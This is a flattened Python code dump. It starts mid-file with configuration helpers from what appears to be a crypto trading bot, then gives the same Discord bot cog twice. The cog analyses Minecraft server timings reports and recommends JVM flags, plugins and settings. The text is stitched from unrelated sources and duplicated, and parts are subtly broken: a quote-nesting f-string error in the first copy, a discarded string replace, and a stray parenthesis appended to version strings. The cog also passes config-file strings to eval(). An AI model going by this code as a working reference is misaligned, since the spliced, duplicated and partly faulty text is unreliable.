self._args_to_config(config, argname='epochs', logstring='Parameter --epochs detected ... ' 'Will run Hyperopt with for {} epochs ...' ) self._args_to_config(config, argname='spaces', logstring='Parameter -s/--spaces detected: {}') self._args_to_config(config, argname='print_all', logstring='Parameter --print-all detected ...') if 'print_colorized' in self.args and not self.args["print_colorized"]: logger.info('Parameter --no-color detected ...') config.update({'print_colorized': False}) else: config.update({'print_colorized': True}) self._args_to_config(config, argname='print_json', logstring='Parameter --print-json detected ...') self._args_to_config(config, argname='hyperopt_jobs', logstring='Parameter -j/--job-workers detected: {}') self._args_to_config(config, argname='hyperopt_random_state', logstring='Parameter --random-state detected: {}') self._args_to_config(config, argname='hyperopt_min_trades', logstring='Parameter --min-trades detected: {}') self._args_to_config(config, argname='hyperopt_continue', logstring='Hyperopt continue: {}') self._args_to_config(config, argname='hyperopt_loss', logstring='Using Hyperopt loss class name: {}') def _process_plot_options(self, config: Dict[str, Any]) -> None: self._args_to_config(config, argname='pairs', logstring='Using pairs {}') self._args_to_config(config, argname='indicators1', logstring='Using indicators1: {}') self._args_to_config(config, argname='indicators2', logstring='Using indicators2: {}') self._args_to_config(config, argname='plot_limit', logstring='Limiting plot to: {}') self._args_to_config(config, argname='trade_source', logstring='Using trades from: {}') self._args_to_config(config, argname='erase', logstring='Erase detected. Deleting existing data.') self._args_to_config(config, argname='timeframes', logstring='timeframes --timeframes: {}') self._args_to_config(config, argname='days', logstring='Detected --days: {}') self._args_to_config(config, argname='download_trades', logstring='Detected --dl-trades: {}') def _process_runmode(self, config: Dict[str, Any]) -> None: if not self.runmode: # Handle real mode, infer dry/live from config self.runmode = RunMode.DRY_RUN if config.get('dry_run', True) else RunMode.LIVE logger.info(f"Runmode set to {self.runmode}.") config.update({'runmode': self.runmode}) def _args_to_config(self, config: Dict[str, Any], argname: str, logstring: str, logfun: Optional[Callable] = None, deprecated_msg: Optional[str] = None) -> None: """ :param config: Configuration dictionary :param argname: Argumentname in self.args - will be copied to config dict. :param logstring: Logging String :param logfun: logfun is applied to the configuration entry before passing that entry to the log string using .format(). sample: logfun=len (prints the length of the found configuration instead of the content) """ if (argname in self.args and self.args[argname] is not None and self.args[argname] is not False): config.update({argname: self.args[argname]}) if logfun: logger.info(logstring.format(logfun(config[argname]))) else: logger.info(logstring.format(config[argname])) if deprecated_msg: warnings.warn(f"DEPRECATED: {deprecated_msg}", DeprecationWarning) def _resolve_pairs_list(self, config: Dict[str, Any]) -> None: """ Helper for download script. Takes first found: * -p (pairs argument) * --pairs-file * whitelist from config """ if "pairs" in config: return if "pairs_file" in self.args and self.args["pairs_file"]: pairs_file = Path(self.args["pairs_file"]) logger.info(f'Reading pairs file "{pairs_file}".') # Download pairs from the pairs file if no config is specified # or if pairs file is specified explicitely if not pairs_file.exists(): raise OperationalException(f'No pairs file found with path "{pairs_file}".') with pairs_file.open('r') as f: config['pairs'] = json_load(f) config['pairs'].sort() return if "config" in self.args and self.args["config"]: logger.info("Using pairlist from configuration.") config['pairs'] = config.get('exchange', {}).get('pair_whitelist') else: # Fall back to /dl_path/pairs.json pairs_file = Path(config['datadir']) / "pairs.json" if pairs_file.exists(): with pairs_file.open('r') as f: config['pairs'] = json_load(f) if 'pairs' in config: config['pairs'].sort()
import discord from discord.ext import commands import aiohttp import yaml import re import logging TIMINGS_CHECK = None YAML_ERROR = None with open("cogs/timings_check.yml", 'r', encoding="utf8") as stream: try: TIMINGS_CHECK = yaml.safe_load(stream) except yaml.YAMLError as exc: logging.info(exc) YAML_ERROR = exc VERSION_REGEX = re.compile(r"\d+\.\d+\.\d+") class Timings(commands.Cog): def __init__(self, bot): self.bot = bot self.TIMINGS_TITLE = "Timings Analysis" # TODO: Check Tuinity.yml for spawn rate changes async def analyze_timings(self, message): words = message.content.replace("\n", " ").split(" ") timings_url = "" embed_var = discord.Embed(title=self.TIMINGS_TITLE, description="These are not magic values. Many of these settings have real consequences on your server's mechanics. See [YouHaveTrouble's guide](https://github.com/YouHaveTrouble/minecraft-optimization/blob/main/README.md) for detailed information on the functionality of each setting.") embed_var.set_footer(text=f"Requested by {message.author.name}#{message.author.discriminator}", icon_url=message.author.avatar_url) for word in words: if word.startswith("https://timin") and "/d=" in word: word.replace("/d=", "/?id=") # this seems to be a common issue when people post their links if word.startswith("https://timin") and "/?id=" in word: timings_url = word embed_var.url = timings_url break if word.startswith("https://www.spigotmc.org/go/timings?url=") or word.startswith( "https://timings.spigotmc.org/?url="): embed_var.add_field(name="❌ Spigot", value="Spigot timings have limited information. Switch to [Purpur](https://purpur.pl3x.net/downloads) for better timings analysis. All your plugins will be compatible, and if you don't like it, you can easily switch back.") embed_var.url = word await message.reply(embed=embed_var) return if timings_url == "": return if "#" in timings_url: timings_url = timings_url.split("#")[0] if "?id=" not in timings_url: return logging.info(f'Timings analyzed from {message.author} ({message.author.id}): {timings_url}') timings_host, timings_id = timings_url.split("?id=") timings_json = timings_host + "data.php?id=" + timings_id timings_url_raw = timings_url + "&raw=1" async with aiohttp.ClientSession() as session: async with session.get(timings_url_raw) as response: request_raw = await response.json(content_type=None) async with session.get(timings_json) as response: request = await response.json(content_type=None) if request is None or request_raw is None: embed_var.add_field(name="❌ Invalid report", value="Create a new timings report.") await message.reply(embed=embed_var) return try: try: version = request["timingsMaster"]["version"] if "version" in request["timingsMaster"] else None print(version) if version.count('.') == 1: version = version[:-1] version = version + ".0)" if "version" in TIMINGS_CHECK and version: version_result = VERSION_REGEX.search(version) version_result = version_result.group() if version_result else None if version_result: if compare_versions(version_result, TIMINGS_CHECK["version"]) == -1: version = version.replace("git-", "").replace("MC: ", "") embed_var.add_field(name="❌ Outdated", value=f'You are using `{version}`. Update to `{TIMINGS_CHECK['version']}`.') else: embed_var.add_field(name="❗ Value Error", value=f'Could not locate version from `{version}`') if "servers" in TIMINGS_CHECK: for server in TIMINGS_CHECK["servers"]: if server["name"] in version: embed_var.add_field(**create_field(server)) break except KeyError as key: logging.info("Missing: " + str(key)) try: timing_cost = int(request["timingsMaster"]["system"]["timingcost"]) if timing_cost > 300: embed_var.add_field(name="❌ Timingcost", value=f"Your timingcost is {timing_cost}. Your cpu is overloaded and/or slow. Find a [better host](https://www.birdflop.com).") except KeyError as key: logging.info("Missing: " + str(key)) try: jvm_version = request["timingsMaster"]["system"]["jvmversion"] if jvm_version.startswith("1.8.") or jvm_version.startswith("9.") or jvm_version.startswith("10."): embed_var.add_field(name="❌ Java Version", value=f"You are using Java {jvm_version}. Update to [Java 16](https://adoptopenjdk.net/installation.html).") except KeyError as key: logging.info("Missing: " + str(key)) try: flags = request["timingsMaster"]["system"]["flags"] if "-XX:+UseZGC" in flags: jvm_version = request["timingsMaster"]["system"]["jvmversion"] java_version = jvm_version.split(".")[0] if int(java_version) < 14: embed_var.add_field(name="❌ Java " + java_version, value="ZGC should only be used on Java 15.") if "-Xmx" in flags: max_mem = 0 flaglist = flags.split(" ") for flag in flaglist: if flag.startswith("-Xmx"): max_mem = flag.split("-Xmx")[1] max_mem = max_mem.replace("G", "000") max_mem = max_mem.replace("M", "") max_mem = max_mem.replace("g", "000") max_mem = max_mem.replace("m", "") if int(max_mem) < 10000: embed_var.add_field(name="❌ Low Memory", value="ZGC is only good with a lot of memory.") elif "-Daikars.new.flags=true" in flags: if "-XX:+PerfDisableSharedMem" not in flags: embed_var.add_field(name="❌ Outdated Flags", value="Add `-XX:+PerfDisableSharedMem` to flags.") if "XX:G1MixedGCCountTarget=4" not in flags: embed_var.add_field(name="❌ Outdated Flags", value="Add `-XX:G1MixedGCCountTarget=4` to flags.") jvm_version = request["timingsMaster"]["system"]["jvmversion"] if "-XX:+UseG1GC" not in flags and jvm_version.startswith("1.8."): embed_var.add_field(name="❌ Aikar's Flags", value="You must use G1GC when using Aikar's flags.") if "-Xmx" in flags: max_mem = 0 flaglist = flags.split(" ") for flag in flaglist: if flag.startswith("-Xmx"): max_mem = flag.split("-Xmx")[1] max_mem = max_mem.replace("G", "000") max_mem = max_mem.replace("M", "") max_mem = max_mem.replace("g", "000") max_mem = max_mem.replace("m", "") if int(max_mem) < 5400: embed_var.add_field(name="❌ Low Memory", value="Allocate at least 6-10GB of ram to your server if you can afford it.") index = 0 max_online_players = 0 while index < len(request["timingsMaster"]["data"]): timed_ticks = request["timingsMaster"]["data"][index]["minuteReports"][0]["ticks"][ "timedTicks"] player_ticks = request["timingsMaster"]["data"][index]["minuteReports"][0]["ticks"][ "playerTicks"] players = (player_ticks / timed_ticks) max_online_players = max(players, max_online_players) index = index + 1 if 1000 * max_online_players / int(max_mem) > 6 and int(max_mem) < 10000: embed_var.add_field(name="❌ Low memory", value="You should be using more RAM with this many players.") if "-Xms" in flags: min_mem = 0 flaglist = flags.split(" ") for flag in flaglist: if flag.startswith("-Xms"): min_mem = flag.split("-Xms")[1] min_mem = min_mem.replace("G", "000") min_mem = min_mem.replace("M", "") min_mem = min_mem.replace("g", "000") min_mem = min_mem.replace("m", "") if min_mem != max_mem: embed_var.add_field(name="❌ Aikar's Flags", value="Your Xmx and Xms values should be equal when using Aikar's flags.") elif "-Dusing.aikars.flags=mcflags.emc.gs" in flags: embed_var.add_field(name="❌ Outdated Flags", value="Update [Aikar's flags](https://aikar.co/2018/07/02/tuning-the-jvm-g1gc-garbage-collector-flags-for-minecraft/).") else: embed_var.add_field(name="❌ Aikar's Flags", value="Use [Aikar's flags](https://aikar.co/2018/07/02/tuning-the-jvm-g1gc-garbage-collector-flags-for-minecraft/).") except KeyError as key: logging.info("Missing: " + str(key)) try: cpu = int(request["timingsMaster"]["system"]["cpu"]) if cpu == 1: embed_var.add_field(name="❌ Threads", value=f"You have only {cpu} thread. Find a [better host](https://www.birdflop.com).") if cpu == 2: embed_var.add_field(name="❌ Threads", value=f"You have only {cpu} threads. Find a [better host](https://www.birdflop.com).") except KeyError as key: logging.info("Missing: " + str(key)) try: handlers = request_raw["idmap"]["handlers"] for handler in handlers: handler_name = request_raw["idmap"]["handlers"][handler][1] if handler_name.startswith("Command Function - ") and handler_name.endswith(":tick"): handler_name = handler_name.split("Command Function - ")[1].split(":tick")[0] embed_var.add_field(name=f"❌ {handler_name}", value=f"This datapack uses command functions which are laggy.") except KeyError as key: logging.info("Missing: " + str(key)) plugins = request["timingsMaster"]["plugins"] if "plugins" in request["timingsMaster"] else None server_properties = request["timingsMaster"]["config"]["server.properties"] if "server.properties" in request["timingsMaster"]["config"] else None bukkit = request["timingsMaster"]["config"]["bukkit"] if "bukkit" in request["timingsMaster"]["config"] else None spigot = request["timingsMaster"]["config"]["spigot"] if "spigot" in request["timingsMaster"]["config"] else None paper = request["timingsMaster"]["config"]["paper"] if "paper" in request["timingsMaster"]["config"] else None tuinity = request["timingsMaster"]["config"]["tuinity"] if "tuinity" in request["timingsMaster"]["config"] else None purpur = request["timingsMaster"]["config"]["purpur"] if "purpur" in request["timingsMaster"]["config"] else None if not YAML_ERROR: if "plugins" in TIMINGS_CHECK: for server_name in TIMINGS_CHECK["plugins"]: if server_name in request["timingsMaster"]["config"]: for plugin in plugins: for plugin_name in TIMINGS_CHECK["plugins"][server_name]: if plugin == plugin_name: stored_plugin = TIMINGS_CHECK["plugins"][server_name][plugin_name] if isinstance(stored_plugin, dict): stored_plugin["name"] = plugin_name embed_var.add_field(**create_field(stored_plugin)) else: eval_field(embed_var, stored_plugin, plugin_name, plugins, server_properties, bukkit, spigot, paper, tuinity, purpur) if "config" in TIMINGS_CHECK: for config_name in TIMINGS_CHECK["config"]: config = TIMINGS_CHECK["config"][config_name] for option_name in config: option = config[option_name] eval_field(embed_var, option, option_name, plugins, server_properties, bukkit, spigot, paper, tuinity, purpur) else: embed_var.add_field(name="Error loading YAML file", value=YAML_ERROR) try: for plugin in plugins: authors = request["timingsMaster"]["plugins"][plugin]["authors"] if authors is not None and "songoda" in request["timingsMaster"]["plugins"][plugin]["authors"].casefold(): if plugin == "EpicHeads": embed_var.add_field(name="❌ EpicHeads", value="This plugin was made by Songoda. Songoda is sketchy. You should find an alternative such as [HeadsPlus](https://spigotmc.org/resources/headsplus-»-1-8-1-16-4.40265/) or [HeadDatabase](https://www.spigotmc.org/resources/head-database.14280/).") elif plugin == "UltimateStacker": embed_var.add_field(name="❌ UltimateStacker", value="Stacking plugins actually causes more lag. " "Remove UltimateStacker.") else: embed_var.add_field(name="❌ " + plugin, value="This plugin was made by Songoda. Songoda is sketchy. You should find an alternative.") except KeyError as key: logging.info("Missing: " + str(key)) try: using_tweaks = "ViewDistanceTweaks" in plugins if not using_tweaks: worlds = request_raw["worlds"] for world in worlds: tvd = int(request_raw["worlds"][world]["ticking-distance"]) ntvd = int(request_raw["worlds"][world]["notick-viewdistance"]) if ntvd <= tvd and tvd >= 5: if spigot["world-settings"]["default"]["view-distance"] == "default": embed_var.add_field(name="❌ no-tick-view-distance", value=f"Set in paper.yml. Recommended: {tvd}. " f"And reduce view-distance from default ({tvd}) in spigot.yml. Recommended: 4.") else: embed_var.add_field(name="❌ no-tick-view-distance", value=f"Set in paper.yml. Recommended: {tvd}. " f"And reduce view-distance from {tvd} in spigot.yml. Recommended: 4.") break except KeyError as key: logging.info("Missing: " + str(key)) try: worlds = request_raw["worlds"] high_mec = False for world in worlds: max_entity_cramming = int(request_raw["worlds"][world]["gamerules"]["maxEntityCramming"]) if max_entity_cramming >= 24: high_mec = True if high_mec: embed_var.add_field(name="❌ maxEntityCramming", value=f"Decrease this by running the /gamerule command in each world. Recommended: 8. ") except KeyError as key: logging.info("Missing: " + str(key)) try: normal_ticks = request["timingsMaster"]["data"][0]["totalTicks"] worst_tps = 20 for index in range(len(request["timingsMaster"]["data"])): total_ticks = request["timingsMaster"]["data"][index]["totalTicks"] if total_ticks == normal_ticks: end_time = request["timingsMaster"]["data"][index]["end"] start_time = request["timingsMaster"]["data"][index]["start"] if end_time == start_time: tps = 20 else: tps = total_ticks / (end_time - start_time) if tps < worst_tps: worst_tps = tps if worst_tps < 10: red = 255 green = int(255 * (0.1 * worst_tps)) else: red = int(255 * (-0.1 * worst_tps + 2)) green = 255 color = int(red*256*256 + green*256) embed_var.color = color except KeyError as key: logging.info("Missing: " + str(key)) except ValueError as value_error: logging.info(value_error) embed_var.add_field(name="❗ Value Error", value=value_error) if len(embed_var.fields) == 0: embed_var.add_field(name="✅ All good", value="Analyzed with no recommendations") await message.reply(embed=embed_var) return issue_count = len(embed_var.fields) field_at_index = 24 if issue_count >= 25: embed_var.insert_field_at(index=24, name=f"Plus {issue_count - 24} more recommendations", value="Create a new timings report after resolving some of the above issues to see more.") while len(embed_var) > 6000: embed_var.insert_field_at(index=field_at_index, name=f"Plus {issue_count - field_at_index} more recommendations", value="Create a new timings report after resolving some of the above issues to see more.") del embed_var._fields[(field_at_index + 1):] field_at_index -= 1 await message.reply(embed=embed_var) def eval_field(embed_var, option, option_name, plugins, server_properties, bukkit, spigot, paper, tuinity, purpur): dict_of_vars = {"plugins": plugins, "server_properties": server_properties, "bukkit": bukkit, "spigot": spigot, "paper": paper, "tuinity": tuinity, "purpur": purpur} try: for option_data in option: add_to_field = True for expression in option_data["expressions"]: for config_name in dict_of_vars: if config_name in expression and not dict_of_vars[config_name]: add_to_field = False break if not add_to_field: break try: if not eval(expression): add_to_field = False break except ValueError as value_error: add_to_field = False logging.info(value_error) embed_var.add_field(name="❗ Value Error", value=f'`{value_error}`\nexpression:\n`{expression}`\noption:\n`{option_name}`') except TypeError as type_error: add_to_field = False logging.info(type_error) embed_var.add_field(name="❗ Type Error", value=f'`{type_error}`\nexpression:\n`{expression}`\noption:\n`{option_name}`') for config_name in dict_of_vars: if config_name in option_data["value"] and not dict_of_vars[config_name]: add_to_field = False break if add_to_field: """ f strings don't like newlines so we replace the newlines with placeholder text before we eval """ option_data["value"] = eval('f"""' + option_data["value"].replace("\n", "\\|n\\") + '"""').replace( "\\|n\\", "\n") embed_var.add_field(**create_field({**{"name": option_name}, **option_data})) break except KeyError as key: logging.info("Missing: " + str(key)) def create_field(option): field = {"name": option["name"], "value": option["value"]} if "prefix" in option: field["name"] = option["prefix"] + " " + field["name"] if "suffix" in option: field["name"] = field["name"] + option["suffix"] if "inline" in option: field["inline"] = option["inline"] return field # Returns -1 if version A is older than version B # Returns 0 if version A and B are equivalent # Returns 1 if version A is newer than version B def compare_versions(version_a, version_b): def normalize(v): return [int(x) for x in re.sub(r'(\.0+)*$', '', v).split(".")] return (normalize(version_a) > normalize(version_b)) - (normalize(version_a) < normalize(version_b)) def setup(bot): bot.add_cog(Timings(bot))
import discord from discord.ext import commands import aiohttp import yaml import re import logging TIMINGS_CHECK = None YAML_ERROR = None with open("cogs/timings_check.yml", 'r', encoding="utf8") as stream: try: TIMINGS_CHECK = yaml.safe_load(stream) except yaml.YAMLError as exc: logging.info(exc) YAML_ERROR = exc VERSION_REGEX = re.compile(r"\d+\.\d+\.\d+") class Timings(commands.Cog): def __init__(self, bot): self.bot = bot self.TIMINGS_TITLE = "Timings Analysis" # TODO: Check Tuinity.yml for spawn rate changes async def analyze_timings(self, message): words = message.content.replace("\n", " ").split(" ") timings_url = "" embed_var = discord.Embed(title=self.TIMINGS_TITLE, description="These are not magic values. Many of these settings have real consequences on your server's mechanics. See [YouHaveTrouble's guide](https://github.com/YouHaveTrouble/minecraft-optimization/blob/main/README.md) for detailed information on the functionality of each setting.") embed_var.set_footer(text=f"Requested by {message.author.name}#{message.author.discriminator}", icon_url=message.author.avatar_url) for word in words: if word.startswith("https://timin") and "/d=" in word: word.replace("/d=", "/?id=") # this seems to be a common issue when people post their links if word.startswith("https://timin") and "/?id=" in word: timings_url = word embed_var.url = timings_url break if word.startswith("https://www.spigotmc.org/go/timings?url=") or word.startswith( "https://timings.spigotmc.org/?url="): embed_var.add_field(name="❌ Spigot", value="Spigot timings have limited information. Switch to [Purpur](https://purpur.pl3x.net/downloads) for better timings analysis. All your plugins will be compatible, and if you don't like it, you can easily switch back.") embed_var.url = word await message.reply(embed=embed_var) return if timings_url == "": return if "#" in timings_url: timings_url = timings_url.split("#")[0] if "?id=" not in timings_url: return logging.info(f'Timings analyzed from {message.author} ({message.author.id}): {timings_url}') timings_host, timings_id = timings_url.split("?id=") timings_json = timings_host + "data.php?id=" + timings_id timings_url_raw = timings_url + "&raw=1" async with aiohttp.ClientSession() as session: async with session.get(timings_url_raw) as response: request_raw = await response.json(content_type=None) async with session.get(timings_json) as response: request = await response.json(content_type=None) if request is None or request_raw is None: embed_var.add_field(name="❌ Invalid report", value="Create a new timings report.") await message.reply(embed=embed_var) return try: try: version = request["timingsMaster"]["version"] if "version" in request["timingsMaster"] else None print(version) if version.count('.') == 1: version = version[:-1] version = version + ".0)" if "version" in TIMINGS_CHECK and version: version_result = VERSION_REGEX.search(version) version_result = version_result.group() if version_result else None if version_result: if compare_versions(version_result, TIMINGS_CHECK["version"]) == -1: version = version.replace("git-", "").replace("MC: ", "") embed_var.add_field(name="❌ Outdated", value=f'You are using `{version}`. Update to `{TIMINGS_CHECK["version"]}`.') else: embed_var.add_field(name="❗ Value Error", value=f'Could not locate version from `{version}`') if "servers" in TIMINGS_CHECK: for server in TIMINGS_CHECK["servers"]: if server["name"] in version: embed_var.add_field(**create_field(server)) break except KeyError as key: logging.info("Missing: " + str(key)) try: timing_cost = int(request["timingsMaster"]["system"]["timingcost"]) if timing_cost > 300: embed_var.add_field(name="❌ Timingcost", value=f"Your timingcost is {timing_cost}. Your cpu is overloaded and/or slow. Find a [better host](https://www.birdflop.com).") except KeyError as key: logging.info("Missing: " + str(key)) try: jvm_version = request["timingsMaster"]["system"]["jvmversion"] if jvm_version.startswith("1.8.") or jvm_version.startswith("9.") or jvm_version.startswith("10."): embed_var.add_field(name="❌ Java Version", value=f"You are using Java {jvm_version}. Update to [Java 16](https://adoptopenjdk.net/installation.html).") except KeyError as key: logging.info("Missing: " + str(key)) try: flags = request["timingsMaster"]["system"]["flags"] if "-XX:+UseZGC" in flags: jvm_version = request["timingsMaster"]["system"]["jvmversion"] java_version = jvm_version.split(".")[0] if int(java_version) < 14: embed_var.add_field(name="❌ Java " + java_version, value="ZGC should only be used on Java 15.") if "-Xmx" in flags: max_mem = 0 flaglist = flags.split(" ") for flag in flaglist: if flag.startswith("-Xmx"): max_mem = flag.split("-Xmx")[1] max_mem = max_mem.replace("G", "000") max_mem = max_mem.replace("M", "") max_mem = max_mem.replace("g", "000") max_mem = max_mem.replace("m", "") if int(max_mem) < 10000: embed_var.add_field(name="❌ Low Memory", value="ZGC is only good with a lot of memory.") elif "-Daikars.new.flags=true" in flags: if "-XX:+PerfDisableSharedMem" not in flags: embed_var.add_field(name="❌ Outdated Flags", value="Add `-XX:+PerfDisableSharedMem` to flags.") if "XX:G1MixedGCCountTarget=4" not in flags: embed_var.add_field(name="❌ Outdated Flags", value="Add `-XX:G1MixedGCCountTarget=4` to flags.") jvm_version = request["timingsMaster"]["system"]["jvmversion"] if "-XX:+UseG1GC" not in flags and jvm_version.startswith("1.8."): embed_var.add_field(name="❌ Aikar's Flags", value="You must use G1GC when using Aikar's flags.") if "-Xmx" in flags: max_mem = 0 flaglist = flags.split(" ") for flag in flaglist: if flag.startswith("-Xmx"): max_mem = flag.split("-Xmx")[1] max_mem = max_mem.replace("G", "000") max_mem = max_mem.replace("M", "") max_mem = max_mem.replace("g", "000") max_mem = max_mem.replace("m", "") if int(max_mem) < 5400: embed_var.add_field(name="❌ Low Memory", value="Allocate at least 6-10GB of ram to your server if you can afford it.") index = 0 max_online_players = 0 while index < len(request["timingsMaster"]["data"]): timed_ticks = request["timingsMaster"]["data"][index]["minuteReports"][0]["ticks"][ "timedTicks"] player_ticks = request["timingsMaster"]["data"][index]["minuteReports"][0]["ticks"][ "playerTicks"] players = (player_ticks / timed_ticks) max_online_players = max(players, max_online_players) index = index + 1 if 1000 * max_online_players / int(max_mem) > 6 and int(max_mem) < 10000: embed_var.add_field(name="❌ Low memory", value="You should be using more RAM with this many players.") if "-Xms" in flags: min_mem = 0 flaglist = flags.split(" ") for flag in flaglist: if flag.startswith("-Xms"): min_mem = flag.split("-Xms")[1] min_mem = min_mem.replace("G", "000") min_mem = min_mem.replace("M", "") min_mem = min_mem.replace("g", "000") min_mem = min_mem.replace("m", "") if min_mem != max_mem: embed_var.add_field(name="❌ Aikar's Flags", value="Your Xmx and Xms values should be equal when using Aikar's flags.") elif "-Dusing.aikars.flags=mcflags.emc.gs" in flags: embed_var.add_field(name="❌ Outdated Flags", value="Update [Aikar's flags](https://aikar.co/2018/07/02/tuning-the-jvm-g1gc-garbage-collector-flags-for-minecraft/).") else: embed_var.add_field(name="❌ Aikar's Flags", value="Use [Aikar's flags](https://aikar.co/2018/07/02/tuning-the-jvm-g1gc-garbage-collector-flags-for-minecraft/).") except KeyError as key: logging.info("Missing: " + str(key)) try: cpu = int(request["timingsMaster"]["system"]["cpu"]) if cpu == 1: embed_var.add_field(name="❌ Threads", value=f"You have only {cpu} thread. Find a [better host](https://www.birdflop.com).") if cpu == 2: embed_var.add_field(name="❌ Threads", value=f"You have only {cpu} threads. Find a [better host](https://www.birdflop.com).") except KeyError as key: logging.info("Missing: " + str(key)) try: handlers = request_raw["idmap"]["handlers"] for handler in handlers: handler_name = request_raw["idmap"]["handlers"][handler][1] if handler_name.startswith("Command Function - ") and handler_name.endswith(":tick"): handler_name = handler_name.split("Command Function - ")[1].split(":tick")[0] embed_var.add_field(name=f"❌ {handler_name}", value=f"This datapack uses command functions which are laggy.") except KeyError as key: logging.info("Missing: " + str(key)) plugins = request["timingsMaster"]["plugins"] if "plugins" in request["timingsMaster"] else None server_properties = request["timingsMaster"]["config"]["server.properties"] if "server.properties" in request["timingsMaster"]["config"] else None bukkit = request["timingsMaster"]["config"]["bukkit"] if "bukkit" in request["timingsMaster"]["config"] else None spigot = request["timingsMaster"]["config"]["spigot"] if "spigot" in request["timingsMaster"]["config"] else None paper = request["timingsMaster"]["config"]["paper"] if "paper" in request["timingsMaster"]["config"] else None tuinity = request["timingsMaster"]["config"]["tuinity"] if "tuinity" in request["timingsMaster"]["config"] else None purpur = request["timingsMaster"]["config"]["purpur"] if "purpur" in request["timingsMaster"]["config"] else None if not YAML_ERROR: if "plugins" in TIMINGS_CHECK: for server_name in TIMINGS_CHECK["plugins"]: if server_name in request["timingsMaster"]["config"]: for plugin in plugins: for plugin_name in TIMINGS_CHECK["plugins"][server_name]: if plugin == plugin_name: stored_plugin = TIMINGS_CHECK["plugins"][server_name][plugin_name] if isinstance(stored_plugin, dict): stored_plugin["name"] = plugin_name embed_var.add_field(**create_field(stored_plugin)) else: eval_field(embed_var, stored_plugin, plugin_name, plugins, server_properties, bukkit, spigot, paper, tuinity, purpur) if "config" in TIMINGS_CHECK: for config_name in TIMINGS_CHECK["config"]: config = TIMINGS_CHECK["config"][config_name] for option_name in config: option = config[option_name] eval_field(embed_var, option, option_name, plugins, server_properties, bukkit, spigot, paper, tuinity, purpur) else: embed_var.add_field(name="Error loading YAML file", value=YAML_ERROR) try: for plugin in plugins: authors = request["timingsMaster"]["plugins"][plugin]["authors"] if authors is not None and "songoda" in request["timingsMaster"]["plugins"][plugin]["authors"].casefold(): if plugin == "EpicHeads": embed_var.add_field(name="❌ EpicHeads", value="This plugin was made by Songoda. Songoda is sketchy. You should find an alternative such as [HeadsPlus](https://spigotmc.org/resources/headsplus-»-1-8-1-16-4.40265/) or [HeadDatabase](https://www.spigotmc.org/resources/head-database.14280/).") elif plugin == "UltimateStacker": embed_var.add_field(name="❌ UltimateStacker", value="Stacking plugins actually causes more lag. " "Remove UltimateStacker.") else: embed_var.add_field(name="❌ " + plugin, value="This plugin was made by Songoda. Songoda is sketchy. You should find an alternative.") except KeyError as key: logging.info("Missing: " + str(key)) try: using_tweaks = "ViewDistanceTweaks" in plugins if not using_tweaks: worlds = request_raw["worlds"] for world in worlds: tvd = int(request_raw["worlds"][world]["ticking-distance"]) ntvd = int(request_raw["worlds"][world]["notick-viewdistance"]) if ntvd <= tvd and tvd >= 5: if spigot["world-settings"]["default"]["view-distance"] == "default": embed_var.add_field(name="❌ no-tick-view-distance", value=f"Set in paper.yml. Recommended: {tvd}. " f"And reduce view-distance from default ({tvd}) in spigot.yml. Recommended: 4.") else: embed_var.add_field(name="❌ no-tick-view-distance", value=f"Set in paper.yml. Recommended: {tvd}. " f"And reduce view-distance from {tvd} in spigot.yml. Recommended: 4.") break except KeyError as key: logging.info("Missing: " + str(key)) try: worlds = request_raw["worlds"] high_mec = False for world in worlds: max_entity_cramming = int(request_raw["worlds"][world]["gamerules"]["maxEntityCramming"]) if max_entity_cramming >= 24: high_mec = True if high_mec: embed_var.add_field(name="❌ maxEntityCramming", value=f"Decrease this by running the /gamerule command in each world. Recommended: 8. ") except KeyError as key: logging.info("Missing: " + str(key)) try: normal_ticks = request["timingsMaster"]["data"][0]["totalTicks"] worst_tps = 20 for index in range(len(request["timingsMaster"]["data"])): total_ticks = request["timingsMaster"]["data"][index]["totalTicks"] if total_ticks == normal_ticks: end_time = request["timingsMaster"]["data"][index]["end"] start_time = request["timingsMaster"]["data"][index]["start"] if end_time == start_time: tps = 20 else: tps = total_ticks / (end_time - start_time) if tps < worst_tps: worst_tps = tps if worst_tps < 10: red = 255 green = int(255 * (0.1 * worst_tps)) else: red = int(255 * (-0.1 * worst_tps + 2)) green = 255 color = int(red*256*256 + green*256) embed_var.color = color except KeyError as key: logging.info("Missing: " + str(key)) except ValueError as value_error: logging.info(value_error) embed_var.add_field(name="❗ Value Error", value=value_error) if len(embed_var.fields) == 0: embed_var.add_field(name="✅ All good", value="Analyzed with no recommendations") await message.reply(embed=embed_var) return issue_count = len(embed_var.fields) field_at_index = 24 if issue_count >= 25: embed_var.insert_field_at(index=24, name=f"Plus {issue_count - 24} more recommendations", value="Create a new timings report after resolving some of the above issues to see more.") while len(embed_var) > 6000: embed_var.insert_field_at(index=field_at_index, name=f"Plus {issue_count - field_at_index} more recommendations", value="Create a new timings report after resolving some of the above issues to see more.") del embed_var._fields[(field_at_index + 1):] field_at_index -= 1 await message.reply(embed=embed_var) def eval_field(embed_var, option, option_name, plugins, server_properties, bukkit, spigot, paper, tuinity, purpur): dict_of_vars = {"plugins": plugins, "server_properties": server_properties, "bukkit": bukkit, "spigot": spigot, "paper": paper, "tuinity": tuinity, "purpur": purpur} try: for option_data in option: add_to_field = True for expression in option_data["expressions"]: for config_name in dict_of_vars: if config_name in expression and not dict_of_vars[config_name]: add_to_field = False break if not add_to_field: break try: if not eval(expression): add_to_field = False break except ValueError as value_error: add_to_field = False logging.info(value_error) embed_var.add_field(name="❗ Value Error", value=f'`{value_error}`\nexpression:\n`{expression}`\noption:\n`{option_name}`') except TypeError as type_error: add_to_field = False logging.info(type_error) embed_var.add_field(name="❗ Type Error", value=f'`{type_error}`\nexpression:\n`{expression}`\noption:\n`{option_name}`') for config_name in dict_of_vars: if config_name in option_data["value"] and not dict_of_vars[config_name]: add_to_field = False break if add_to_field: """ f strings don't like newlines so we replace the newlines with placeholder text before we eval """ option_data["value"] = eval('f"""' + option_data["value"].replace("\n", "\\|n\\") + '"""').replace( "\\|n\\", "\n") embed_var.add_field(**create_field({**{"name": option_name}, **option_data})) break except KeyError as key: logging.info("Missing: " + str(key)) def create_field(option): field = {"name": option["name"], "value": option["value"]} if "prefix" in option: field["name"] = option["prefix"] + " " + field["name"] if "suffix" in option: field["name"] = field["name"] + option["suffix"] if "inline" in option: field["inline"] = option["inline"] return field # Returns -1 if version A is older than version B # Returns 0 if version A and B are equivalent # Returns 1 if version A is newer than version B def compare_versions(version_a, version_b): def normalize(v): return [int(x) for x in re.sub(r'(\.0+)*$', '', v).split(".")] return (normalize(version_a) > normalize(version_b)) - (normalize(version_a) < normalize(version_b)) def setup(bot): bot.add_cog(Timings(bot))
